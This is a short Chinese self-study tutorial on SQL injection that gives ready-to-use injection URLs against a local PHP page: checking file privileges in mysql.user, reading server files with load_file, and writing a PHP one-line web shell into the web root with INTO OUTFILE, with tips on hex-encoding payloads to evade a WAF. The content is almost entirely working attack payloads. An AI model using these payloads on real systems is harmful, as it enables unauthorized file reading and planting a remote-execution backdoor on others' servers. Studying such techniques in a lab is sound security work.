■SQL注入自学[第三学:注入点的读写、out_file]
00x1 判断是否可读
code:
http://127.0.0.1/1.php?id=1 and (select count(*) from mysql.user) >0--
/*
返回正确的话,说明没有是有读的权限。
返回错误,那极有可能是权限降了。
能够判断出mysql的长度说明是可以读取其长度,自然就是可读。 */
00x2 判断是否可读
code:
http://127.0.0.1/1.php?id=1 and (select count(file_priv) from mysql.user) >0--
/*
file_priv:权限表,确定用户是否可以执行SELECT INTO OUTFILE和LOAD DATA INFILE命令。更多权限表:http://www.cnblogs.com/kissdodog/p/4173337.html
*/
00x2 使用load_file读文件
code:
http://127.0.0.1/1.php?id=-1 union select 1,2,load_file('D:/wamp/www/test.txt')--
/*
D:/wamp/www/test.txt可替换为十六进制的,如下所示。
http://127.0.0.1/1.php?id=1 union select 1,2,load_file(char('0x443A2F77616D702F7777772F746573742E747874'))
*/
00x2 使用out_file写入木马文件
code;
http://127.0.0.1/index.php?id=-1 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'D:/wamp/www/test.php'--
/*
<?php eval($_POST[cmd])?> 该句一句话木马可以转换为十六进制的。可躲避waf之类的。
写入文件的斜杠必须是/
*/
By:珍惜少年时博客:http://www.cnblogs.com/xishaonian/
*-------------------------------------------*